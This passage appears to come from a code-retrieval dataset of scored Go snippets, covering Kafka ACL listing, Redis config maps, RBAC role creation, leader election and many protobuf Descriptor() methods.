func(cmd *cobra.Command, _ []string) error {\n\t\t\t// if the API changes: bite.FriendlyError(cmd, errResourceNotAccessibleMessage, \"no authorizer is configured on the broker\")\n\t\t\tacls, err := config.Client.GetACLs()\n\t\t\tif err != nil {\n\t\t\t\tgolog.Errorf(\"Failed to retrieve acls. [%s]\", err.Error())\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tsort.Slice(acls, func(i, j int) bool {\n\t\t\t\t//\treturn acls[i].Operation < acls[j].Operation\n\t\t\t\treturn acls[i].ResourceName < acls[j].ResourceName\n\t\t\t})\n\n\t\t\treturn bite.PrintObject(cmd, acls)\n\t\t},\n\t}\n\n\tbite.CanPrintJSON(cmd)\n\n\treturn cmd\n}", "title": "" }, { "docid": "74cb7b45c9531f3bb1c9b8d204adc828", "score": "0.42871106", "text": "func (cd *ConfigurationDistributor) addRuleHandler(obj interface{}) {\n\trule := obj.(*codisv1alpha1.ConfigurationDistributionRule)\n\tif rule.GetNamespace() != cd.namespace || rule.GetName() != cd.rulename {\n\t\treturn\n\t}\n\tlog.Printf(\"adding rule '%s' in namespace '%s' ...\", rule.GetName(), rule.GetNamespace())\n\tcd.rule = rule\n\tcd.distributeAll()\n}", "title": "" }, { "docid": "1d59bc58b878f1c42a967e6f9259ec4a", "score": "0.42777133", "text": "func (r *rulesManager) compile() {\n\tif r.base.Rules == nil || len(r.base.Rules) == 0 {\n\t\tr.base = defaultRulesFragment()\n\t}\n\tr.latest = r.base\n\n\t// Simply concatenate the content of each top level rule field as specified in our RFCs\n\tfor _, v := range r.edits {\n\t\tr.latest.Overrides = append(r.latest.Overrides, v.Overrides...)\n\t\tr.latest.Exclusions = append(r.latest.Exclusions, v.Exclusions...)\n\t\tr.latest.Actions = append(r.latest.Actions, v.Actions...)\n\t\tr.latest.RulesData = append(r.latest.RulesData, v.RulesData...)\n\t\t// TODO (Francois): process more fields once we expose the adequate capabilities (custom actions, custom rules, etc...)\n\t}\n}", "title": "" }, { "docid": "0efc70c283a8fc60d56d8e288a22577b", "score": "0.42694885", "text": "func New(rules []Rule) *cronRuleset {\n\tr := &cronRuleset{\n\t\tcronRules: rules,\n\t\toutCh: make(chan result.Result, 100),\n\t}\n\treturn r\n}", "title": "" }, { "docid": "f09dd5c070906736a54a663a4fe4d71a", "score": "0.4256233", "text": "func (m *ListRulesResp) Validate() error {\n\tif m == nil {\n\t\treturn nil\n\t}\n\n\tfor idx, item := range m.GetRules() {\n\t\t_, _ = idx, item\n\n\t\tif v, ok := interface{}(item).(interface{ Validate() error }); ok {\n\t\t\tif err := v.Validate(); err != nil {\n\t\t\t\treturn ListRulesRespValidationError{\n\t\t\t\t\tfield: fmt.Sprintf(\"Rules[%v]\", idx),\n\t\t\t\t\treason: \"embedded message failed validation\",\n\t\t\t\t\tcause: err,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "383093cc957501c8cf48f716e3d46b21", "score": "0.42471668", "text": "func (c *Client) DeleteRules(filter *api.RuleFilter) error {\n\n\tpath := rulesPath + c.filterToStringQuery(filter)\n\n\tif err := c.doRequest(\"DELETE\", path, nil, nil, nil, http.StatusOK); err != nil {\n\t\tlogrus.WithError(err).Warn(\"Failed to delete rules in controller\")\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "f32944d9f7b1e414485dd4ec7a78fc97", "score": "0.42447007", "text": "func (a *ACLHandle) List(ctx context.Context) (rules []ACLRule, err error) {\n\tctx = trace.StartSpan(ctx, \"cloud.google.com/go/storage.ACL.List\")\n\tdefer func() { trace.EndSpan(ctx, err) }()\n\n\tif a.object != \"\" {\n\t\treturn a.objectList(ctx)\n\t}\n\tif a.isDefault {\n\t\treturn a.bucketDefaultList(ctx)\n\t}\n\treturn a.bucketList(ctx)\n}", "title": "" }, { "docid": "3dac691099b47c5e004cbcfbf9890d32", "score": "0.4243093", "text": "func (r *RedisReconciler) redisConfigMapForRedis(redis *cachev1alpha1.Redis) *corev1.ConfigMap {\n\t// create template for redis.\n\tredisConfigTemplate := `loglevel notice\nlogfile /dev/stdout\ntimeout 300\ntcp-keepalive 0\ndatabases 1\nmaxmemory 2mb\nmaxmemory-policy allkeys-lru\n`\n\n\ttmpl, err := template.New(\"redis\").Parse(redisConfigTemplate)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar tplOutput bytes.Buffer\n\tif err := tmpl.Execute(&tplOutput, redis); err != nil {\n\t\tpanic(err)\n\t}\n\n\tredisConfigFileContent := tplOutput.String()\n\n\t// Enable Redis password support\n\tif redis.Spec.GlobalConfig.Password != \"\" {\n\t\tredisConfigFileContent = fmt.Sprintf(\"%srequirepass %s\\n\", redisConfigFileContent, redis.Spec.GlobalConfig.Password)\n\t}\n\n\t// Enable redisgraph\n\t// https://github.com/RedisGraph/RedisGraph\n\tif redis.Spec.RedisGraph.Enabled {\n\t\tredisConfigFileContent = fmt.Sprintf(\"%sloadmodule %s\\n\", redisConfigFileContent, \"/usr/lib/redis/modules/redisgraph.so\")\n\t}\n\n\t// Enable redisjson\n\t// https://github.com/RedisJSON/RedisJSON\n\tif redis.Spec.RedisJSON.Enabled {\n\t\tredisConfigFileContent = fmt.Sprintf(\"%sloadmodule %s\\n\", redisConfigFileContent, \"/usr/lib/redis/modules/rejson.so\")\n\t}\n\n\t// Enable redisSearch\n\t// https://github.com/RediSearch/RediSearch\n\tif redis.Spec.RedisSearch.Enabled {\n\t\tredisConfigFileContent = fmt.Sprintf(\"%sloadmodule %s\\n\", redisConfigFileContent, \"/usr/lib/redis/modules/redisearch.so\")\n\t}\n\n\t// Enable redisBloom\n\t// https://github.com/RedisBloom/RedisBloom\n\tif redis.Spec.RedisBloom.Enabled {\n\t\tredisConfigFileContent = fmt.Sprintf(\"%sloadmodule %s\\n\", redisConfigFileContent, \"/usr/lib/redis/modules/redisbloom.so\")\n\t}\n\n\t// Enable redisTimeSeries\n\t// https://github.com/RedisTimeSeries/RedisTimeSeries\n\tif redis.Spec.RedisTimeSeries.Enabled {\n\t\tredisConfigFileContent = fmt.Sprintf(\"%sloadmodule %s\\n\", redisConfigFileContent, \"/usr/lib/redis/modules/redistimeseries.so\")\n\t}\n\n\tdep := &corev1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: redis.Name,\n\t\t\tNamespace: redis.Namespace,\n\t\t\tLabels: labelsForRedis(redis, \"configmap\"),\n\t\t},\n\t\tData: map[string]string{\n\t\t\t\"redis.conf\": redisConfigFileContent,\n\t\t},\n\t}\n\n\tcontrollerutil.SetControllerReference(redis, dep, r.Scheme)\n\treturn dep\n}", "title": "" }, { "docid": "23996604ca4ea61b8627e39e0dd34f8e", "score": "0.4240037", "text": "func ValidateRedisCLIOptions() {\n\tif err := redisOptions.validateOptions(); err != nil {\n\t\tlog.WithField(logging.FieldKeyEventCode, logging.EventCodeErrorWrongParam).Errorln(\n\t\t\t\"Identical Redis DB parameters, one of redis_db_tokens or redis_db_keys should be provided\")\n\t\tos.Exit(1)\n\t}\n}", "title": "" }, { "docid": "f071f6087da121f5ca1e7b4b25196c1e", "score": "0.4237343", "text": "func CreateCommand(cli *cli.SensuCli) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"create [NAME] --verb=VERBS --resource=RESOURCES [--resource-name=RESOURCE_NAMES]\",\n\t\tShort: \"create a new role with a single rule\",\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tif err := helpers.VerifyName(args); err != nil {\n\t\t\t\t_ = cmd.Help()\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tvar namespace string\n\t\t\tif namespace = helpers.GetChangedStringValueViper(\"namespace\", cmd.Flags()); namespace == \"\" {\n\t\t\t\tnamespace = cli.Config.Namespace()\n\t\t\t}\n\t\t\trole := v2.NewRole(v2.NewObjectMeta(args[0], namespace))\n\n\t\t\t// Retrieve the rule from the flags\n\t\t\trule := v2.Rule{}\n\n\t\t\tverbs, err := cmd.Flags().GetStringSlice(\"verb\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(verbs) == 0 {\n\t\t\t\treturn errors.New(\"at least one verb must be provided\")\n\t\t\t}\n\t\t\trule.Verbs = verbs\n\n\t\t\tresources, err := cmd.Flags().GetStringSlice(\"resource\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(resources) == 0 {\n\t\t\t\treturn errors.New(\"at least one resource must be provided\")\n\t\t\t}\n\t\t\trule.Resources = resources\n\n\t\t\tresourceNames, err := cmd.Flags().GetStringSlice(\"resource-name\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\trule.ResourceNames = resourceNames\n\n\t\t\t// Assign the rule to our role and validate it\n\t\t\trole.Rules = []v2.Rule{rule}\n\t\t\tif err := role.Validate(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif err := cli.Client.CreateRole(role); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\t_, err = fmt.Fprintln(cmd.OutOrStdout(), \"Created\")\n\t\t\treturn err\n\t\t},\n\t}\n\n\t_ = cmd.Flags().StringSliceP(\"verb\", \"v\", []string{},\n\t\t\"verbs that apply to the resources contained in the rule\",\n\t)\n\t_ = cmd.Flags().StringSliceP(\"resource\", \"r\", []string{},\n\t\t\"resources that the rule applies to\",\n\t)\n\t_ = cmd.Flags().StringSliceP(\"resource-name\", \"n\", []string{},\n\t\t\"optional resource names that the rule applies to\",\n\t)\n\n\treturn cmd\n}", "title": "" }, { "docid": "6b2d9eeebc43e8f618f8e20a77249e5c", "score": "0.42364997", "text": "func (o RedisUserOutput) RedisAclKeys() pulumi.StringArrayOutput {\n\treturn o.ApplyT(func(v *RedisUser) pulumi.StringArrayOutput { return v.RedisAclKeys }).(pulumi.StringArrayOutput)\n}", "title": "" }, { "docid": "819ffc90865c8dd139973c34d9072414", "score": "0.42339173", "text": "func (c *commands) CommandSet(t tokens) *result {\n\tr := &result{}\n\n\tif len(t) < 2 {\n\t\tr.err = ProtocolError{}\n\t\treturn r\n\t}\n\n\tkey := t[0]\n\tttl := 0\n\n\tif len(t) >= 3 {\n\t\tttl, _ = strconv.Atoi(string(t[2]))\n\t}\n\n\tc.cache.set(string(key), t[1], ttl)\n\tr.value = t[1]\n\n\treturn r\n}", "title": "" }, { "docid": "6c90ab345df899532f8c5b4d89e716bd", "score": "0.4226576", "text": "func Run(ctx context.Context, s *options.RedisControllerManagerOptions) error {\n\tversion.LogVersionInfo()\n\n\tns := os.Getenv(\"NAMESPACE\")\n\tif s.Namespace != \"\" {\n\t\tns = s.Namespace\n\t}\n\tif ns == \"\" {\n\t\tglog.Fatal(\"NAMESPACE environment variable not set\")\n\t}\n\n\thostName, err := os.Hostname()\n\tif err != nil {\n\t\tglog.Fatalf(\"failed to get hostname: %v\", err)\n\t}\n\tcfg, err := clusterConfig(s)\n\tif err != nil {\n\t\tglog.Fatalf(\"failed to get config: %v\", err)\n\t}\n\tkubeCli, err := kubernetes.NewForConfig(cfg)\n\tif err != nil {\n\t\tglog.Fatalf(\"failed to get kubernetes Clientset: %v\", err)\n\t}\n\tcli, err := versioned.NewForConfig(cfg)\n\tif err != nil {\n\t\tglog.Fatalf(\"failed to create Clientset: %v\", err)\n\t}\n\n\tinformerFactory := informers.NewSharedInformerFactory(cli, s.ResyncDuration)\n\tkubeInformerFactory := kubeinformers.NewSharedInformerFactory(kubeCli, s.ResyncDuration)\n\trl := resourcelock.EndpointsLock{\n\t\tEndpointsMeta: metav1.ObjectMeta{\n\t\t\tNamespace: ns,\n\t\t\tName: \"redis-controller-manager\",\n\t\t},\n\t\tClient: kubeCli.CoreV1(),\n\t\tLockConfig: resourcelock.ResourceLockConfig{\n\t\t\tIdentity: hostName,\n\t\t\tEventRecorder: &record.FakeRecorder{},\n\t\t},\n\t}\n\n\t// redis-controller\n\trcController := rediscluster.NewController(kubeCli, cli, informerFactory, kubeInformerFactory, s.AutoFailover)\n\tgo informerFactory.Start(ctx.Done())\n\tgo kubeInformerFactory.Start(ctx.Done())\n\tonStarted := func(ctx context.Context) {\n\t\trcController.Run(s.Workers, ctx.Done())\n\t}\n\tonStopped := func() {\n\t\tglog.Fatalf(\"leader election lost\")\n\t}\n\n\t// leader election for multiple redis-manager\n\tgo wait.Forever(func() {\n\t\tleaderelection.RunOrDie(ctx, leaderelection.LeaderElectionConfig{\n\t\t\tLock: &rl,\n\t\t\tLeaseDuration: s.LeaseDuration,\n\t\t\tRenewDeadline: s.RenewDuration,\n\t\t\tRetryPeriod: s.RetryPeriod,\n\t\t\tCallbacks: leaderelection.LeaderCallbacks{\n\t\t\t\tOnStartedLeading: onStarted,\n\t\t\t\tOnStoppedLeading: onStopped,\n\t\t\t},\n\t\t})\n\t}, s.WaitDuration)\n\n\tglog.Fatal(http.ListenAndServe(\":9090\", nil))\n\treturn nil\n}", "title": "" }, { "docid": "95151e23f601c05802be269eb26afac2", "score": "0.42252868", "text": "func (m *IoK8sAPIRbacV1AggregationRule) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateClusterRoleSelectors(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" } ]
8d449462d9bb71ee3990d9caa9616b88
Deprecated: Use Metadata.ProtoReflect.Descriptor instead.
[ { "docid": "f6b20090bb16df247b02a4ae86bd0a9f", "score": "0.0", "text": "func (*Metadata) Descriptor() ([]byte, []int) {\n\treturn file_file_message_proto_rawDescGZIP(), []int{1}\n}", "title": "" } ]
[ { "docid": "f2451b5a59f05ba1c2a40890eb04cafa", "score": "0.69492733", "text": "func (*Listener_DeprecatedV1) Descriptor() ([]byte, []int) {\n\treturn file_xds_lds_proto_rawDescGZIP(), []int{0, 0}\n}", "title": "" }, { "docid": "b22fde99b7bda8255dc654accf63dfaa", "score": "0.6902055", "text": "func (x *fastReflection_Foo) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Foo\n}", "title": "" }, { "docid": "09338eb2d140abd5040afda57ea774b2", "score": "0.67824", "text": "func (x *fastReflection_DVVTriplet) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_DVVTriplet\n}", "title": "" }, { "docid": "0d005cc733fb09fd68ced85bc1b5306b", "score": "0.6722967", "text": "func (*DeltaDiscoveryRequest) Descriptor() ([]byte, []int) {\n\treturn file_envoy_api_v2_discovery_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "3b024425e5eec5930f509d91631f3a9e", "score": "0.66955787", "text": "func (x *fastReflection_DVVTriplets) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_DVVTriplets\n}", "title": "" }, { "docid": "62249d82ec730c11b6c9814821aef776", "score": "0.66760147", "text": "func (*DMLink) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_luciexe_legacy_annotee_proto_annotations_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "1165cb73a4db018f774f12a87d9ef71c", "score": "0.6669026", "text": "func (*MetadataMessage) Descriptor() ([]byte, []int) {\n\treturn file_pkg_security_proto_api_api_proto_rawDescGZIP(), []int{28}\n}", "title": "" }, { "docid": "f6900c956c61425bcda5026c18a3988d", "score": "0.66467685", "text": "func (*MetadataName) Descriptor() ([]byte, []int) {\n\treturn file_internal_pkg_protofiles_client_cp_metadata_messages_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d109fd9980616cd469705bd2882c2344", "score": "0.6585074", "text": "func (*CustomExt) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_protowalk_fields_test_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "c8ec2b6c6d85cbc0dd302a423756cf3d", "score": "0.65803933", "text": "func (*VisibilityUpdate) Descriptor() ([]byte, []int) {\n\treturn file_all_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "0619101d1adf6cc18a5825cad0164244", "score": "0.6551882", "text": "func (*CommonTlsContext_DeprecatedV1) Descriptor() ([]byte, []int) {\n\treturn file_xds_lds_proto_rawDescGZIP(), []int{4, 0}\n}", "title": "" }, { "docid": "a27878d5f18d4ec1b09a069d7a02fa9a", "score": "0.6546715", "text": "func (*Peer) Descriptor() ([]byte, []int) {\n\treturn file_pkg_grpc_biz_biz_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "2b1d14eab70604ab73b54f6b2c016199", "score": "0.6536753", "text": "func (*BytesProto) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_server_internal_gae_base_api_base_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "572aef7b25983bf1a67244428b544fb5", "score": "0.6536444", "text": "func (*BytesProto) Descriptor() ([]byte, []int) {\n\treturn file_api_base_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "31893b98c797fad19668869564bb3194", "score": "0.65327054", "text": "func (*TelemetryLabel) Descriptor() ([]byte, []int) {\n\treturn file_proto_telemetry_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "6e388c77b4850178d2754b6425ad3cb3", "score": "0.6531729", "text": "func (x *fastReflection_Description) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Description\n}", "title": "" }, { "docid": "f73c9c258f35c971ec966db3cf9590b7", "score": "0.65236646", "text": "func (x *fastReflection_HistoricalInfo) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_HistoricalInfo\n}", "title": "" }, { "docid": "c67edc12d36a11f4198504f4ac8f030e", "score": "0.65051293", "text": "func (*GetTeamReq) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_request_teams_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "f48321d7d23f33c0b623c02203d2dcc1", "score": "0.65044147", "text": "func (*ExampleListProto) Descriptor() ([]byte, []int) {\n\treturn file_metadata_service_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "f033df91fb92d4eab7618babf08e6434", "score": "0.6502156", "text": "func (*Verified) Descriptor() ([]byte, []int) {\n\treturn file_proto_customers_events_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "6d0595a100c3990e8a8ba64f16183026", "score": "0.6502044", "text": "func (*LabelsDelete) Descriptor() ([]byte, []int) {\n\treturn file_chat_labels_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "63097f242660b5ece2889ef29c55baeb", "score": "0.64870614", "text": "func (*VoidProto) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_server_internal_gae_base_api_base_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "9174d580ffa4a5c21cac5e9c699e63c3", "score": "0.6485318", "text": "func (x *fastReflection_ValidatorUpdates) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ValidatorUpdates\n}", "title": "" }, { "docid": "15ec63d4a3d5002cbb87869eb7c90ad2", "score": "0.64842176", "text": "func (x *fastReflection_DecCoin) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_DecCoin\n}", "title": "" }, { "docid": "ef5c39c5f2984a8c4f081c58d6b60e17", "score": "0.6482717", "text": "func (*CallUpdateParticipantRemoved) Descriptor() ([]byte, []int) {\n\treturn file_client_call_proto_rawDescGZIP(), []int{39}\n}", "title": "" }, { "docid": "aeb75679c3d063ef083c1117e5af0894", "score": "0.64741963", "text": "func (*Peer) Descriptor() ([]byte, []int) {\n\treturn file_cerbos_audit_v1_audit_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "fe9532f8ed1225e3c082003baca33a8e", "score": "0.647418", "text": "func (*Listener) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_projects_gloo_api_v1_proxy_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d77082929001acbe7a37d97c7b2fd7c3", "score": "0.6472952", "text": "func (*VerifyRequest) Descriptor() ([]byte, []int) {\n\treturn edgelq_iam_proto_v1alpha2_attestation_custom_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "99bacb60dab4931afe6df5907584ddf5", "score": "0.6471888", "text": "func (*MethodDescriptor) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha2_method_descriptor_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "0f88ba55fa02dda4983c5c974fa243f3", "score": "0.6471409", "text": "func (x *fastReflection_Bar) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Bar\n}", "title": "" }, { "docid": "eaa346fdbe36bf3624370ee0570146df", "score": "0.6458912", "text": "func WrapDescriptor(descriptor DescriptorProto) *Descriptor {\n\tdesc := &Descriptor{}\n\tswitch t := descriptor.(type) {\n\tcase *TableDescriptor:\n\t\tdesc.Union = &Descriptor_Table{Table: t}\n\tcase *DatabaseDescriptor:\n\t\tdesc.Union = &Descriptor_Database{Database: t}\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"unknown descriptor type: %s\", descriptor.TypeName()))\n\t}\n\treturn desc\n}", "title": "" }, { "docid": "50cae865400b29054b01f0d811829075", "score": "0.6458686", "text": "func (x *fastReflection_Validator) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Validator\n}", "title": "" }, { "docid": "65400d4d5fc8b134c22544422c8eff42", "score": "0.6453486", "text": "func (*FieldId) Descriptor() ([]byte, []int) {\n\treturn file_google_devtools_issuetracker_v1_issuetracker_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "193113099cf8eceb81a662c2f0fc3a87", "score": "0.6453448", "text": "func (x *fastReflection_MsgAddAllowedDenom) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgAddAllowedDenom\n}", "title": "" }, { "docid": "fcf68c3dd627c0e0aa3ca9d5eadf1f5c", "score": "0.64514875", "text": "func (*Ref_Foo) Descriptor() ([]byte, []int) {\n\treturn file_constructsserver_pb_constructs_proto_rawDescGZIP(), []int{12, 1}\n}", "title": "" }, { "docid": "55e48286e83b98f4d20597c786eac2b7", "score": "0.64456844", "text": "func (*DoubleProto) Descriptor() ([]byte, []int) {\n\treturn file_api_base_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "3fbb02cc608d3d98d51bb5aca2261aa0", "score": "0.6443851", "text": "func (*DeleteRequest) Descriptor() ([]byte, []int) {\n\treturn file_contrib_envoy_extensions_filters_network_sip_proxy_tra_v3alpha_tra_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "5c060ca46ab5e9da9d00b1f918b89fb5", "score": "0.6443129", "text": "func (*DeleteTeamReq) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_request_teams_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "7dd068bc78c8a69b3a9c24c24bcd5a4c", "score": "0.64421284", "text": "func (*RuntimeInfo) Descriptor() ([]byte, []int) {\n\treturn file_google_cloud_dataproc_v1_shared_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "3a3d5719eab5051c94de33c42b7a6ac3", "score": "0.6441385", "text": "func (Trickle_Target) EnumDescriptor() ([]byte, []int) {\n\treturn file_pkg_grpc_biz_biz_proto_rawDescGZIP(), []int{7, 0}\n}", "title": "" }, { "docid": "254eca215d1b6dcd6658c88a687a8618", "score": "0.64388317", "text": "func (*Lifecycle) Descriptor() ([]byte, []int) {\n\treturn edgelq_common_types_meta_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "fc3a8c293b006dc879294777c21c03c7", "score": "0.64362806", "text": "func (*PassThroughGrpc) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_projects_gloo_api_v1_enterprise_options_extauth_v1_extauth_proto_rawDescGZIP(), []int{37}\n}", "title": "" }, { "docid": "2ebee47d3eefcabfdc63db9fe6996c26", "score": "0.64344853", "text": "func (*ForeignMessage) Descriptor() ([]byte, []int) {\n\treturn file_google_protobuf_test_messages_proto3_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "d3f767dadb53c13fb60875443300e963", "score": "0.6431863", "text": "func (*DataRequestListProto) Descriptor() ([]byte, []int) {\n\treturn file_jina_proto_rawDescGZIP(), []int{9}\n}", "title": "" }, { "docid": "01de35a00644b97528fa5a1d40822b18", "score": "0.64313275", "text": "func (*Inner) Descriptor() ([]byte, []int) {\n\treturn file_go_chromium_org_luci_common_proto_protowalk_fields_test_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "4cc4ced1c10d8ac45e7be44e344bd900", "score": "0.64301383", "text": "func (*GetTeamMembershipReq) Descriptor() ([]byte, []int) {\n\treturn file_external_iam_v2_request_teams_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "7c284740112030260738d9d09b4b89fa", "score": "0.64265645", "text": "func (*VoidProto) Descriptor() ([]byte, []int) {\n\treturn file_api_base_proto_rawDescGZIP(), []int{6}\n}", "title": "" }, { "docid": "344024227fe46b73d3266fdf5402f343", "score": "0.6425928", "text": "func (x *fastReflection_Capability) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Capability\n}", "title": "" }, { "docid": "d709a7a439012efe391f15815c9ae1be", "score": "0.6423364", "text": "func (*ExternalDocumentation) Descriptor() ([]byte, []int) {\n\treturn file_github_com_gunk_opt_openapiv2_all_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "8cceb7bceb29deea398918513ee0618e", "score": "0.6421684", "text": "func (*SourceMetadata) Descriptor() ([]byte, []int) {\n\treturn file_github_com_solo_io_gloo_projects_gloo_api_v1_proxy_proto_rawDescGZIP(), []int{21}\n}", "title": "" }, { "docid": "d1334ebdff39cec507bf2746d0edfd03", "score": "0.6417053", "text": "func (*Ref_Foo_Bar) Descriptor() ([]byte, []int) {\n\treturn file_constructsserver_pb_constructs_proto_rawDescGZIP(), []int{12, 1, 1}\n}", "title": "" }, { "docid": "6d32907f958f4cbd247472fd3f7d98c8", "score": "0.64165604", "text": "func (*MethodDescriptor) Descriptor() ([]byte, []int) {\n\treturn edgelq_audit_proto_v1alpha_method_descriptor_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "5f14d7f7d3d193a702dbd328fad8820f", "score": "0.64144164", "text": "func (x *fastReflection_Params) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Params\n}", "title": "" }, { "docid": "5f14d7f7d3d193a702dbd328fad8820f", "score": "0.64144164", "text": "func (x *fastReflection_Params) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Params\n}", "title": "" }, { "docid": "b8841e85a714be40b897dcf0a8484109", "score": "0.6408718", "text": "func (*StringProto) Descriptor() ([]byte, []int) {\n\treturn file_api_base_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "4a7027344b00eff0b194037b9a1e5796", "score": "0.6407926", "text": "func (x *fastReflection_Coin) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_Coin\n}", "title": "" }, { "docid": "044d147ad1b4ec6e5b994207d2a2cc2a", "score": "0.64075553", "text": "func (*Type) Descriptor() ([]byte, []int) {\n\treturn file_film_srv_proto_rawDescGZIP(), []int{10}\n}", "title": "" }, { "docid": "5791dc03956865c8ada5a75cf39159ba", "score": "0.6406492", "text": "func (*TrustedDataMessage) Descriptor() ([]byte, []int) {\n\treturn file_p2p_proto_rawDescGZIP(), []int{59}\n}", "title": "" }, { "docid": "42d32b7d8c5c66c5665d1d83b16b8b9a", "score": "0.64048874", "text": "func (*RemoteEditLogManifestProto) Descriptor() ([]byte, []int) {\n\treturn file_HdfsServer_proto_rawDescGZIP(), []int{5}\n}", "title": "" }, { "docid": "04d2f7174b93f07f7719bd363a9ca335", "score": "0.6404696", "text": "func (*LabelsGet) Descriptor() ([]byte, []int) {\n\treturn file_chat_labels_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "27cd501b69e05528d37838a6a3234c1a", "score": "0.640435", "text": "func (*Service_Telemetry) Descriptor() ([]byte, []int) {\n\treturn file_google_monitoring_v3_service_proto_rawDescGZIP(), []int{0, 6}\n}", "title": "" }, { "docid": "645a97a5709be34ede4135cc945c6fec", "score": "0.64042246", "text": "func (*Permission) Descriptor() ([]byte, []int) {\n\treturn edgelq_iam_proto_v1alpha_permission_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "e50580f626c3c447aa1dfc07b37c16e0", "score": "0.64006287", "text": "func (x *fastReflection_MsgCancelUpgrade) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_MsgCancelUpgrade\n}", "title": "" }, { "docid": "e7377c6738b9ff29213ee330d3565018", "score": "0.63995814", "text": "func (*DiscoveryRequest) Descriptor() ([]byte, []int) {\n\treturn file_envoy_api_v2_discovery_proto_rawDescGZIP(), []int{0}\n}", "title": "" }, { "docid": "760110fdaa7b8fb635bdbe25ed24f3da", "score": "0.63988316", "text": "func (*DeltaDiscoveryResponse) Descriptor() ([]byte, []int) {\n\treturn file_envoy_api_v2_discovery_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "58365d2a940fe560457d2b359c428167", "score": "0.6398667", "text": "func (*CloudContext) Descriptor() ([]byte, []int) {\n\treturn file_orc8r_cloud_go_services_metricsd_protos_exporter_proto_rawDescGZIP(), []int{4}\n}", "title": "" }, { "docid": "359db5e61fef86327fda619daa72fca1", "score": "0.63985205", "text": "func (x *fastReflection_ListenCommitRequest) Descriptor() protoreflect.MessageDescriptor {\n\treturn md_ListenCommitRequest\n}", "title": "" }, { "docid": "1c1ddd37eaa83eea72476202f994d461", "score": "0.6398251", "text": "func (x 